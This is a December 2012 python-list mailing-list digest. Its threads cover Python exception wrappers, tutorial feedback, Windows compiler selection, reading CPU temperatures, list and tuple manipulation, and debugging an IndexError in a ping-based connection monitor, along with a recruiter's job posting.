<50bc5511$0$30000$c3e8da3$5496439d@news.astraweb.com> References: <50bbc8c7$0$29994$c3e8da3$5496439d@news.astraweb.com> <50bc5511$0$30000$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Mon, Dec 3, 2012 at 6:30 PM, Steven D'Aprano wrote: > Yeah, in hindsight it was a pretty crappy example. But this sort of > dynamism really is useful: > > def testRaises(exc, func, *args): > try: > result = func(*args) > except exc: > return > raise AssertionError("expected exception but didn't get one") > > > def wrap(func, exc, default=None): > @functools.wraps(func) > def inner(*args): > try: > return func(*args) > except exc: > return default > return inner Ah, that makes good sense. The 'except' clause takes a parameter, so it follows logically that you could pass a parameter to something that wraps an except clause. ChrisA From jeanmichel at sequans.com Mon Dec 3 05:13:58 2012 From: jeanmichel at sequans.com (Jean-Michel Pichavant) Date: Mon, 3 Dec 2012 11:13:58 +0100 (CET) Subject: New tutorials In-Reply-To: <50BB6BAA.2060409@lightbird.net> Message-ID: <2032186770.1150055.1354529638303.JavaMail.root@sequans.com> ----- Original Message ----- > Hi everyone, I'm making a series of python tutorials and I've just > finished the introductory part: http://lightbird.net/larks/intro.html > > Feedback is appreciated.. - mitya > > -- > http://mail.python.org/mailman/listinfo/python-list > While referencing the python tutorial, you should state how your tutorial complement the already existing one, possibly which issues you're trying to fix, or how different your approach is. Cheers, JM -- IMPORTANT NOTICE: The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. From atavory at gmail.com Mon Dec 3 05:52:32 2012 From: atavory at gmail.com (Ami Tavory) Date: Mon, 3 Dec 2012 12:52:32 +0200 Subject: setup.py Choosing Older Compiler On Windows In-Reply-To: References: <50BBC2E1.50102@davea.name> Message-ID: From: Irmen de Jong >> To: python-list at python.org >> Cc: >> Date: Mon, 03 Dec 2012 01:10:23 +0100 >> Subject: Re: setup.py Choosing Older Compiler On Windows >> On 2-12-2012 22:06, Dave Angel wrote: >> > On 12/02/2012 09:34 AM, Ami Tavory wrote: >> >> Hello, >> >> >> >> I'm porting a C++ extension module to a Windows machine >> that has both VC8 >> >> and VC10 installed. Unfortunately, `setup.py build` tries to build >> using >> >> VC8, which fails (the extension uses C++ standard libraries >> that VC didn't >> >> used to have). Is there a way to get setup.py to use VC10 >> (preferably >> >> externally, without modifying the script)? >> >> >> >> >> > >> > I haven't had to do Windows C++ development for many years, >> but there >> > used to be a vcvars.bat in each compiler installation, and you >> run the >> > one corresponding to the compiler & libraries you want. >> >> >> Forcing it to use a different compiler than the one that was used to >> build Python >> itself, may very well lead to a non-working extension module. >> >> Irmen Dave, Irmen, Many thanks for your answers - much appreciated! Got cvcars.bat to work in the sense that calling the compiler from the command line resulted in the newer one being called, but setup.py for some reason persisted in calling the older one. So due to Irmen's concern, this, and other issues, I just hacked away the C++11 stuff and used the old compiler. Many thanks, Ami -------------- next part -------------- An HTML attachment was scrubbed... URL: From michael.herrmann at getautoma.com Mon Dec 3 05:57:30 2012 From: michael.herrmann at getautoma.com (Michael Herrmann) Date: Mon, 3 Dec 2012 02:57:30 -0800 (PST) Subject: Is it bad style to override the built-in function `type`? In-Reply-To: References: Message-ID: Hi Rusi, > Im entering this thread late (was off mail for a week), so pardon me > if someone has already said this -- but have you looked at the > difference between internal and external dsls: > http://martinfowler.com/bliki/DomainSpecificLanguage.html (and links > therein) ? > Roughly speaking if what you are making is an external dsl, then its > not really python (it may be python-inspired but thats not really > germane) and so reusing python lexemes/structures etc in ways not > exactly consistent with python usage should be no issue > > If its an internal DSL, you are headed for causing/suffering grief. > > I looked at your site [yes it looked almost interesting -- if only it > ran on linux :-( ] and I cant really decide whether to classify it as > external or internal We want to capitalize on all of Python's advantages (tool/IDE support, available libraries etc) and are thus strictly offering an internal DSL (see http://www.getautoma.com/features/python_integration). As you pointed out, that's why it's important to stay consistent with Python's conventions. I agree it'd be nice to have Automa run on Linux, but unfortunately that's still a long time away... Best, Michael From charles.xrandolph2 at gmail.com Mon Dec 3 06:56:43 2012 From: charles.xrandolph2 at gmail.com (Owatch) Date: Mon, 3 Dec 2012 03:56:43 -0800 (PST) Subject: Python Noob Question. In-Reply-To: <50bbcba5$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <8322bece-1a04-456e-8dc4-910cfc502a07@googlegroups.com> <50bbcba5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Sunday, December 2, 2012 11:44:05 PM UTC+2, Steven D'Aprano wrote: > On Sun, 02 Dec 2012 12:33:58 -0800, Owatch wrote: > > > > > Sorry, but I was redirected here via a thread on another forum > > > concerning where to find help for Python. (Python-forums.org not working > > > for me) > > > > > > I wanted to ask if there was any way I could write a simple Python > > > Temperature program. Where essentially it somehow (Now sure how, I'm a > > > noob remember) read temps off of windows (Providing windows records cpu > > > temps) from their program and then rang an alarm if temperatures > > > exceeded a certain value. > > > > > > I can write the part about the alarm going off. But I have no idea how > > > to have it stream or update values it would grab from that program > > > (whatever it might be). > > > > > > Could you please help, or tell me if its possible. Thanks, Owatch. > > > > Yes, it's possible, but if you have no idea which program you want to > > read temperature data from, what makes you think we would have any better > > idea? This is a Python forum, not a "Windows programs that give > > temperature data" forum. > > > > I recommend you start by doing some research into how to read the > > temperature data, including the name of the program. Once you have that, > > come back to us for help in using Python. > > > > > > -- > > Steven Sorry if I didn't specify what program. I was thinking of using Core Temp 1.0. Their website is here: http://www.alcpu.com/CoreTemp/ Or using CPUz. If I've got to choose than I'll take Core Temp 1.0 Is this enough information? If you need to know anything else just say so! From neilc at norwich.edu Mon Dec 3 08:04:26 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 3 Dec 2012 13:04:26 GMT Subject: List problem References: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> <372A1BE2-3E9B-4371-A71E-BA6E8C4E1A36@fastmail.fm> Message-ID: On 2012-12-02, Thomas Bach wrote: > On Sun, Dec 02, 2012 at 04:16:01PM +0100, Lutz Horn wrote: >> >> len([x for x in l if x[1] == 'VBD']) >> > > Another way is > > sum(1 for x in l if x[1] == 'VBD') > > which saves the list creation. To also index them: vbdix = [i for i, a in emumerate(l) if a[1] == 'VBD'] vbdno = len(indices) -- Neil Cerutti From news at blinne.net Mon Dec 3 09:19:51 2012 From: news at blinne.net (Alexander Blinne) Date: Mon, 03 Dec 2012 15:19:51 +0100 Subject: Python Noob Question. In-Reply-To: References: <8322bece-1a04-456e-8dc4-910cfc502a07@googlegroups.com> <50bbcba5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50bcb507$0$6622$9b4e6d93@newsspool2.arcor-online.net> Hello, by having a quick look at their website i found a plugin for CoreTemp which acts as a server and can be asked for status information of the cpu. Now your task is really simple: write a little function or class that opens a network socket, connects to that plugin und asks it for the information you require. You just need to find out what network protocol this plugin uses to communicate. If it is no standard protocol for which a higher level module is present (xmlrpc or something), see http://docs.python.org/3/library/socket.html for low level sockets. Greetings From msirenef at lightbird.net Mon Dec 3 09:36:32 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Mon, 03 Dec 2012 09:36:32 -0500 Subject: New tutorials In-Reply-To: <50BB6BAA.2060409@lightbird.net> References: <50BB6BAA.2060409@lightbird.net> Message-ID: <50BCB8F0.3000700@lightbird.net> > While referencing the python tutorial, you should state how your > tutorial complement the already existing one, possibly which issues > you're trying to fix, or how different your approach is. > Cheers, > JM Thanks for the feedback, I've added the following line to the Intro section: My guide will mostly use short, simple games to teach Python and Programming in general. This will also be easy to see just by looking at the listing in the index once I start adding sections.. the first one coming up! - mitya From msirenef at lightbird.net Mon Dec 3 09:38:14 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Mon, 03 Dec 2012 09:38:14 -0500 Subject: New tutorials In-Reply-To: <50BB6BAA.2060409@lightbird.net> References: <50BB6BAA.2060409@lightbird.net> Message-ID: <50BCB956.5080505@lightbird.net> On 12/02/2012 09:54 AM, Mitya Sirenef wrote: > Hi everyone, I'm making a series of python tutorials and I've just > finished the introductory part: http://lightbird.net/larks/intro.html I've just uploaded a new section -- a tictactoe game: I've also updated the Intro to state that Python version 3.2+ is required. - mitya From gordon at panix.com Mon Dec 3 11:49:10 2012 From: gordon at panix.com (John Gordon) Date: Mon, 3 Dec 2012 16:49:10 +0000 (UTC) Subject: List problem References: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> Message-ID: In <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1 at googlegroups.com> subhabangalore at gmail.com writes: > Dear Group, > I have a list of the following pattern, > [("''", "''"), ('Eastern', 'NNP'), ('Army', 'NNP'), ('Commander', 'NNP'), (= > 'Lt', 'NNP'), ('Gen', 'NNP'), ('Dalbir', 'NNP'), ('Singh', 'NNP'), ('Suhag'= > , 'NNP'), ('briefed', 'VBD'), ('the', 'DT'), ('Army', 'NNP'), ('chief', 'NN= > '), ('on', 'IN'), ('the', 'DT'), ('operational', 'JJ'), ('preparedness', 'N= > N'), ('and', 'CC'), ('the', 'DT'), ('security', 'NN'), ('scenario', 'NN'), = > ('in', 'IN'), ('the', 'DT'), ('eastern', 'NN'), ('region', 'NN'), (',', ','= > ), ("''", "''"), ('defence', 'NN'), ('spokesperson', 'NN'), ('Group', 'NNP'= > ), ('Capt', 'NNP'), ('T', 'NNP'), ('K', 'NNP'), ('Singha', 'NNP'), ('said',= > 'VBD'), ('here', 'RB')] > Now, as we see it has multiple VBD elements. > I want to recognize,count and index them all. That depends on exactly what you mean by 'reorganize' and 'index'. But here's a start: items = [("''", "''"), ('Eastern', 'NNP'), ('Army', 'NNP'), ('Commander', 'NNP'), ('Lt', 'NNP'), ('Gen', 'NNP'), ('Dalbir', 'NNP'), ('Singh', 'NNP'), ('Suhag' , 'NNP'), ('briefed', 'VBD'), ('the', 'DT'), ('Army', 'NNP'), ('chief', 'NN'), ('on', 'IN'), ('the', 'DT'), ('operational', 'JJ'), ('preparedness', 'NN'), ('and', 'CC'), ('the', 'DT'), ('security', 'NN'), ('scenario', 'NN'), ('in', 'IN'), ('the', 'DT'), ('eastern', 'NN'), ('region', 'NN'), (',', ','), ("''", "''"), ('defence', 'NN'), ('spokesperson', 'NN'), ('Group', 'NNP'), ('Capt', 'NNP'), ('T', 'NNP'), ('K', 'NNP'), ('Singha', 'NNP'), ('said', 'VBD'), ('here', 'RB')] vbds = [item[0] for item in items if item[1] == 'VBD'] print vbds From wrw at mac.com Mon Dec 3 12:37:42 2012 From: wrw at mac.com (wrw at mac.com) Date: Mon, 03 Dec 2012 12:37:42 -0500 Subject: Puzzling error msg. Message-ID: So far in my experience with Python, it's error messages have been clear, concise, and quite good at fingering my errors. However, the message below has me stumped. The routine in question has been running for weeks with no problems, then yesterday I got the following: Traceback (most recent call last): File "./Connection_Monitor.py", line 146, in Google_up, Google_summary, Google_RTT, Google_stddev = Google.connection_test() File "/Users/wrw/Dev/Python/Connection_Monitor/Version2.2/WorkingCopy/network.py", line 101, in connection_test # IndexError: list index out of range The routine is pasted in below: def connection_test(self): self.network_up = True self.error = None ping_result = subprocess.Popen(['ping', '-qc6', self.target_IP], stderr = subprocess.PIPE, stdout = subprocess.PIPE).communicate()[0] found_0 = '0 packets received' in ping_result found_1 = '1 packets received' in ping_result if found_0 == True or found_1 == True: self.network_up = False self.ping_summary = 'No route to host' self.ping_RTT = 'NA' self.ping_stddev = 'NA' return self.network_up, self.ping_summary, self.ping_RTT, self.ping_stddev # That particular command line generates 6 ping packets in quiet mode (summary only) and the amount of text returned, even when the ping fails is minimal. My puzzle two-fold. First: how could that code generate an "index our of range" error, and second: line 101 (the one fingered by the error message) is the line following the return statement, the one that contains the # character. I've seen that sort of line slippage when I forgot a ":", but that doesn't seem to be the case here. Python 2.7.3 from Python.org, running on Mac OS-X 10.8.2. For what it is worth, the definitions of the rest of the class variables follow (pretty simple minded): def __init__(self, target_name): lan_status = '' wan_status = '' path_status = '' ping_summary = '' ping_RTT = '' ping_stddev = '' target_error = '' network_up = True target_error, initial_route, hop_count, target_IP = find_initial_route(target_name) self.target_error = target_error self.initial_route = initial_route self.hop_count = hop_count self.gateway = initial_route[0] self.target_name = target_name self.target_IP = target_IP self.hop_count = hop_count self.lan_status = lan_status self.wan_status = wan_status self.path_status = path_status self.network_up = network_up self.ping_summary = ping_summary self.ping_RTT = ping_RTT self.ping_stddev = ping_stddev From aditya05099 at gmail.com Mon Dec 3 13:06:10 2012 From: aditya05099 at gmail.com (Aditya) Date: Mon, 3 Dec 2012 10:06:10 -0800 (PST) Subject: Immediate Interview // Direct Client // QNXT Configuration Expert // 6 Months // Nashville, TN Message-ID: <50101ea8-91a1-4cc7-9041-0d69ff5b28f5@googlegroups.com> Hi Friends, This is Aditya Kiran Technical Recruiter for XpertTech in Boston, MA. My client is looking to hire a QNXT Configuration Expert for 6+ Months Position. If you available for new opportunities, I would love to speak to you about below mentioned job. Thank you for your time in advance and I look forward to your response to Aditya at xperttech.com or you can reach me on 781-780-2939 X 3041 Location: Nashville, TN Duration: 6 Months Rate: OPEN Responsibilities: ? Ability to create analyze, interpret and implement business around QNXT Core systems ? Apply previous experience and knowledge to research and resolve claim/encounter issues, pended claims and update system(s) as necessary. ? Participate in the implementation and conversion of new and existing health plans. ? Maintain thorough and concise documentation for tracking of all provider, contract, benefit or reference table configuration change request forms (CCRF) for quality audit purposes. Weight complexity for all requests received Qualification Required: ? 2 - 5 years as Configuration Analyst experience working in Medicare industry ? Managed Care industry knowledge and specifically Medicare Managed Care Technical aptitude, analytical, problem solving and data analysis skills. ? Strong project management/organization skills ? Excellent verbal & written communication skills ? Ability to multi-task and manage concurrent projects ? Must have the ability to perform at a high level as an individual and as a part of the team. ? Proficient with MS Office suite ? Knowledge of SQL (database queries, SQL administration) ? Knowledge in ICD-9, ICD-10 area Thanks & Regards Aditya Kiran Technical Recruiter 400 W Cummings Park, Suite#2850 Woburn, MA-01801 Email: aditya at xperttech.com Phone: 781-780-2939X3041 Fax: 781-207-0709 www.XpertTech.com Delivering the POWER of Technology From steve+comp.lang.python at pearwood.info Mon Dec 3 13:12:11 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 03 Dec 2012 18:12:11 GMT Subject: Puzzling error msg. References: Message-ID: <50bceb7b$0$29994$c3e8da3$5496439d@news.astraweb.com> On Mon, 03 Dec 2012 12:37:42 -0500, wrw wrote: > So far in my experience with Python, it's error messages have been > clear, concise, and quite good at fingering my errors. However, the > message below has me stumped. The routine in question has been running > for weeks with no problems, then yesterday I got the following: > > Traceback (most recent call last): > File "./Connection_Monitor.py", line 146, in > Google_up, Google_summary, Google_RTT, Google_stddev = Google.connection_test() > File "/Users/wrw/Dev/Python/Connection_Monitor/Version2.2/WorkingCopy/ network.py", > line 101, in connection_test > # > IndexError: list index out of range Are you running Python with the -x option? If so, then I understand that the line number (and subsequent line of code) reported in tracebacks may sometimes be off by one. If not, or if the discrepancy is more than one line, I would start investigating the following scenario: * there is a mismatch between the source code .py file and the byte-code .pyc file; * but the .pyc file's "last modified date" is newer than the .py file; * the .pyc file is executed (as is usual); * but when an error occurs and Python looks up the source file, it gets something which no longer corresponds to the byte-code being executed. By the way, in connection_test you have the following: > def connection_test(self): > found_0 = '0 packets received' in ping_result > found_1 = '1 packets received' in ping_result > if found_0 == True or found_1 == True: [...] Of course that's not correct. You should write: if (found_0 == True or found_1 == True) == True: No wait, I mean: if ((found_0 == True or found_1 == True) == True) == True: No wait! I meant this: if ((found_0 == True == True == True == True == ... # Help! or found_1 == True == True == True == True == ... # Where do I stop? ) == True) == True == True == True == True ... : *wink* Of course the whole thing is silly. The right way to test booleans for their boolean value is just: if found_0 or found_1: "flag == True" is the same as "flag". -- Steven From ian.g.kelly at gmail.com Mon Dec 3 13:27:18 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Mon, 3 Dec 2012 11:27:18 -0700 Subject: Puzzling error msg. In-Reply-To: References: Message-ID: On Mon, Dec 3, 2012 at 10:37 AM, wrote: > if found_0 == True or found_1 == True: > Not related to your problem, but this line would be more pythonic as: if found_0 or found_1: My puzzle two-fold. First: how could that code generate an "index our of > range" error, and second: line 101 (the one fingered by the error message) > is the line following the return statement, the one that contains the # > character. I've seen that sort of line slippage when I forgot a ":", but > that doesn't seem to be the case here. > It may indicate a discrepancy between the source and the code that is actually running. Python doesn't keep the source in memory; when a traceback needs to be generated it opens the relevant files and reads the designated lines at run-time. If that source is incorrect, then you get inaccurate tracebacks. This could happen in a couple of ways. 1) Your .pyc or .pyo files are out-of-date, and Python doesn't realize it due to incorrect file modification times. Try deleting the cached bytecode files and recompiling and see if your problem goes away (or at least gives you a better stack trace). 2) It sounds like this is a long-running process, so perhaps the source code has been changed at some point since the process started. In that case, merely restarting the process should be sufficient to fix the stack trace. As for the actual error, assuming that the method's source accurately reflects what was running, the only code I see there that I think could generate the error is the ".communicate()[0]" bit. As far as I know, Popen.communicate should always return a 2-tuple, but perhaps you've somehow run into a case where it returned an empty tuple instead. If you can reproduce the error, you might try logging the result of the .communicate() call to see what is actually returned when the error occurs. -------------- next part -------------- An HTML attachment was scrubbed... URL: From wrw at mac.com Mon Dec 3 13:32:10 2012 From: wrw at mac.com (wrw at mac.com) Date: Mon, 03 Dec 2012 13:32:10 -0500 Subject: Puzzling error msg. In-Reply-To: <50bceb7b$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50bceb7b$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <8D3F9100-5360-42A2-BDDD-D775A41CBEBE@mac.com> On Dec 3, 2012, at 1:12 PM, Steven D'Aprano wrote: > On Mon, 03 Dec 2012 12:37:42 -0500, wrw wrote: > >> So far in my experience with Python, it's error messages have been >> clear, concise, and quite good at fingering my errors. However, the >> message below has me stumped. The routine in question has been running >> for weeks with no problems, then yesterday I got the following: >> >> Traceback (most recent call last): >> File "./Connection_Monitor.py", line 146, in >> Google_up, Google_summary, Google_RTT, Google_stddev = > Google.connection_test() >> File "/Users/wrw/Dev/Python/Connection_Monitor/Version2.2/WorkingCopy/ > network.py", >> line 101, in connection_test >> # >> IndexError: list index out of range > > Are you running Python with the -x option? If so, then I understand that > the line number (and subsequent line of code) reported in tracebacks may > sometimes be off by one. > Steven, thanks for looking at this. No, I'm not using -x and the .py and .pyc files are as they should be. (Notice in the traceback that the files were in the "Version2.2/WorkingCopy/" directory. I'm pretty careful about version control.) I've added a bunch of print statements and I'll just have to wait until it fails again - hopefully soon. > > > By the way, in connection_test you have the following: > >> def connection_test(self): >> found_0 = '0 packets received' in ping_result >> found_1 = '1 packets received' in ping_result >> if found_0 == True or found_1 == True: > [...] > > Of course that's not correct. You should write: > > [byte] > Of course the whole thing is silly. The right way to test booleans for > their boolean value is just: > > if found_0 or found_1: > > "flag == True" is the same as "flag". > > OK - point taken wrt testing booleans. > -- > Steven > -- > http://mail.python.org/mailman/listinfo/python-list From wrw at mac.com Mon Dec 3 13:56:06 2012 From: wrw at mac.com (wrw at mac.com) Date: Mon, 03 Dec 2012 13:56:06 -0500 Subject: Puzzling error msg. In-Reply-To: References: Message-ID: <152B789A-DBDE-47D9-9296-C155C22CE240@mac.com> On Dec 3, 2012, at 1:27 PM, Ian Kelly wrote: > On Mon, Dec 3, 2012 at 10:37 AM, wrote: > if found_0 == True or found_1 == True: > > Not related to your problem, but this line would be more pythonic as: > > if found_0 or found_1: > Thanks Ian - yes, Steven pointed out the same thing. Point well taken. > My puzzle two-fold. First: how could that code generate an "index our of range" error, and second: line 101 (the one fingered by the error message) is the line following the return statement, the one that contains the # character. I've seen that sort of line slippage when I forgot a ":", but that doesn't seem to be the case here. > > It may indicate a discrepancy between the source and the code that is actually running. Python doesn't keep the source in memory; when a traceback needs to be generated it opens the relevant files and reads the designated lines at run-time. If that source is incorrect, then you get inaccurate tracebacks. This could happen in a couple of ways. > > 1) Your .pyc or .pyo files are out-of-date, and Python doesn't realize it due to incorrect file modification times. Try deleting the cached bytecode files and recompiling and see if your problem goes away (or at least gives you a better stack trace). > > 2) It sounds like this is a long-running process, so perhaps the source code has been changed at some point since the process started. In that case, merely restarting the process should be sufficient to fix the stack trace. > It is a long-running process, and because of exactly that point I'm pretty careful about source code management. You will notice that the original traceback contained the code link: "Version2.2/WorkingCopy/network.py". In other words, I'm pretty careful about segregating my development copies from the code I leave running. > As for the actual error, assuming that the method's source accurately reflects what was running, the only code I see there that I think could generate the error is the ".communicate()[0]" bit. As far as I know, Popen.communicate should always return a 2-tuple, but perhaps you've somehow run into a case where it returned an empty tuple instead. If you can reproduce the error, you might try logging the result of the .communicate() call to see what is actually returned when the error occurs. I was kind of afraid it might be something like that. I've added some print statements and I'll just have to wait for it to fail again (hopefully soon). Thanks again, Bill -------------- next part -------------- An HTML attachment was scrubbed... URL: From subhabangalore at gmail.com Mon Dec 3 14:58:17 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Mon, 3 Dec 2012 11:58:17 -0800 (PST) Subject: Conversion of List of Tuples Message-ID: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Dear Group, I have a tuple of list as, tup_list=[(1,2), (3,4)] Now if I want to covert as a simple list, list=[1,2,3,4] how may I do that? If any one can kindly suggest? Googling didn't help much. Regards, Subhabrata. From gordon at panix.com Mon Dec 3 15:04:22 2012 From: gordon at panix.com (John Gordon) Date: Mon, 3 Dec 2012 20:04:22 +0000 (UTC) Subject: Conversion of List of Tuples References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: In <6049bc85-6f8e-429b-a855-ecef47a9d28e at googlegroups.com> subhabangalore at gmail.com writes: > Dear Group, > I have a tuple of list as, > tup_list=[(1,2), (3,4)] > Now if I want to covert as a simple list, > list=[1,2,3,4] > how may I do that? new_list = [] for t in tup_list: for item in t: new_list.append(item) -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From gherron at digipen.edu Mon Dec 3 15:08:43 2012 From: gherron at digipen.edu (Gary Herron) Date: Mon, 03 Dec 2012 12:08:43 -0800 Subject: Conversion of List of Tuples In-Reply-To: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: <50BD06CB.5070709@digipen.edu> On 12/03/2012 11:58 AM, subhabangalore at gmail.com wrote: > [(1,2), (3,4)] >>> L=[(1,2), (3,4)] >>> >>> [b for a in L for b in a] [1, 2, 3, 4] -- Dr. Gary Herron Department of Computer Science DigiPen Institute of Technology (425) 895-4418 From ckaynor at zindagigames.com Mon Dec 3 15:10:02 2012 From: ckaynor at zindagigames.com (Chris Kaynor) Date: Mon, 3 Dec 2012 12:10:02 -0800 Subject: Conversion of List of Tuples In-Reply-To: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: On Mon, Dec 3, 2012 at 11:58 AM, wrote: > Dear Group, > > I have a tuple of list as, > > tup_list=[(1,2), (3,4)] > Now if I want to covert as a simple list, > > list=[1,2,3,4] > > how may I do that? > > If any one can kindly suggest? Googling didn't help much. If you know they are always exactly two levels deep, you can use nested loops (in comprehension form): [item for tuple_ in list_ for item in tuple_] That could also be written how John recommended, in three lines. > > Regards, > Subhabrata. > -- > http://mail.python.org/mailman/listinfo/python-list From python at mrabarnett.plus.com Mon Dec 3 15:13:06 2012 From: python at mrabarnett.plus.com (MRAB) Date: Mon, 03 Dec 2012 20:13:06 +0000 Subject: Conversion of List of Tuples In-Reply-To: References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: <50BD07D2.7020803@mrabarnett.plus.com> On 2012-12-03 20:04, John Gordon wrote: > In <6049bc85-6f8e-429b-a855-ecef47a9d28e at googlegroups.com> subhabangalore at gmail.com writes: > >> Dear Group, > >> I have a tuple of list as, > >> tup_list=[(1,2), (3,4)] >> Now if I want to covert as a simple list, > >> list=[1,2,3,4] > >> how may I do that? > > new_list = [] > > for t in tup_list: > for item in t: > new_list.append(item) > Or you could use .extend: new_list = [] for t in tup_list: new_list.extend(t) From rosuav at gmail.com Mon Dec 3 15:17:05 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 4 Dec 2012 07:17:05 +1100 Subject: Conversion of List of Tuples In-Reply-To: References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: On Tue, Dec 4, 2012 at 7:04 AM, John Gordon wrote: > In <6049bc85-6f8e-429b-a855-ecef47a9d28e at googlegroups.com> subhabangalore at gmail.com writes: > >> Dear Group, > >> I have a tuple of list as, > >> tup_list=[(1,2), (3,4)] >> Now if I want to covert as a simple list, > >> list=[1,2,3,4] > >> how may I do that? > > new_list = [] > > for t in tup_list: > for item in t: > new_list.append(item) Which can be written more succintly as: new_list = [] for t in tup_list: new_list.extend(t) In more general terms, what you're looking to do here is *flatten* your structure. Not sure if that would have helped in the web search that you doubtless did before asking this question. :) ChrisA From rosuav at gmail.com Mon Dec 3 15:33:31 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 4 Dec 2012 07:33:31 +1100 Subject: Puzzling error msg. In-Reply-To: References: Message-ID: On Tue, Dec 4, 2012 at 4:37 AM, wrote: > Traceback (most recent call last): > File "./Connection_Monitor.py", line 146, in > Google_up, Google_summary, Google_RTT, Google_stddev = Google.connection_test() > File "/Users/wrw/Dev/Python/Connection_Monitor/Version2.2/WorkingCopy/network.py", line 101, in connection_test > # > IndexError: list index out of range > > > The routine is pasted in below: > > def connection_test(self): > self.network_up = True > self.error = None > ping_result = subprocess.Popen(['ping', '-qc6', self.target_IP], stderr = subprocess.PIPE, stdout = subprocess.PIPE).communicate()[0] > found_0 = '0 packets received' in ping_result > found_1 = '1 packets received' in ping_result > if found_0 == True or found_1 == True: > self.network_up = False > self.ping_summary = 'No route to host' > self.ping_RTT = 'NA' > self.ping_stddev = 'NA' > return self.network_up, self.ping_summary, self.ping_RTT, self.ping_stddev > # Is that the end of the function? What does it return if neither found_0 nor found_1? If that's the end, the function will be returning None (as all functions do on "flowing off the end"), but that would give a quite different error (namely, 'NoneType' is not iterable, at the unpacking). Is it possible that the error actually came from further up (with a faulty line number) and was actually because communicate() somehow returned an empty list? That's the only place in the code quoted that I'm seeing indexing, but communicate() is supposed to return a tuple, not a list. ChrisA From andriy.kornatskyy at live.com Mon Dec 3 15:58:47 2012 From: andriy.kornatskyy at live.com (Andriy Kornatskyy) Date: Mon, 3 Dec 2012 23:58:47 +0300 Subject: How to Send Mail Message-ID: There are several use cases how you can send an email message: - Plain mail (text or HTML) - Mail with attachment - Alternative mail views You can provide a convenient way to email recipients to view your message in plain text or html with optional rich content including embedded images, etc. Read more here: http://mindref.blogspot.com/2012/12/python-mail.html Comments or suggestions are welcome. Thanks. Andriy Kornatskyy From subhabangalore at gmail.com Mon Dec 3 16:14:19 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Mon, 3 Dec 2012 13:14:19 -0800 (PST) Subject: Conversion of List of Tuples In-Reply-To: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: On Tuesday, December 4, 2012 1:28:17 AM UTC+5:30, subhaba... at gmail.com wrote: > Dear Group, > > > > I have a tuple of list as, > > > > tup_list=[(1,2), (3,4)] > > Now if I want to covert as a simple list, > > > > list=[1,2,3,4] > > > > how may I do that? > > > > If any one can kindly suggest? Googling didn't help much. > > > > Regards, > > Subhabrata. Thanks. But I am not getting the counter "5posts 0 views"...if moderator can please check the issue. From subhabangalore at gmail.com Mon Dec 3 16:15:49 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Mon, 3 Dec 2012 13:15:49 -0800 (PST) Subject: A Discussion on Python and Data Visualization Message-ID: <99d0d663-beaf-4a75-b7c2-1b2f309a37f1@googlegroups.com> Dear Group, I am trying to work out a data visualization module. Here, I am taking raw corpus,and processing it linguistically(tokenization,tagging,NED recognition) and then trying to link the NED's with Latent Semantic Analysis or Relationship Mining or Network graph theory or cluster analysis and trying to visualize the result. For NLP based works I am taking NLTK, LSA or Relationship Mining is also handled by NLTK, for Network graph theory I am taking igraph/networkx, for cluster analysis I am using Pycluster/Cluster and if any more extra visualization is required I am using matplotlib. Now, am I going fine with the choice of software--(I am using Python2.7.3 on MS-Windows 7 with IDLE as GUI) or should I change any one? If you have any suggestion? Now, I was feeling as this is the age of Information Visualization Python may have a library for doing visual analytics which I do not know which would extract information and visualize? If anyone can kindly suggest? Thanking You in Advance, Regards, Subhabrata. From gordon at panix.com Mon Dec 3 17:02:35 2012 From: gordon at panix.com (John Gordon) Date: Mon, 3 Dec 2012 22:02:35 +0000 (UTC) Subject: Conversion of List of Tuples References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: In subhabangalore at gmail.com writes: > Thanks. But I am not getting the counter "5posts 0 views"...if > moderator can please check the issue. I logged in via Google Groups and all the replies were present. What is your question? (This group is not moderated.) -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From steve+comp.lang.python at pearwood.info Mon Dec 3 17:11:40 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 03 Dec 2012 22:11:40 GMT Subject: Conversion of List of Tuples References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: <50bd239c$0$29994$c3e8da3$5496439d@news.astraweb.com> On Mon, 03 Dec 2012 13:14:19 -0800, 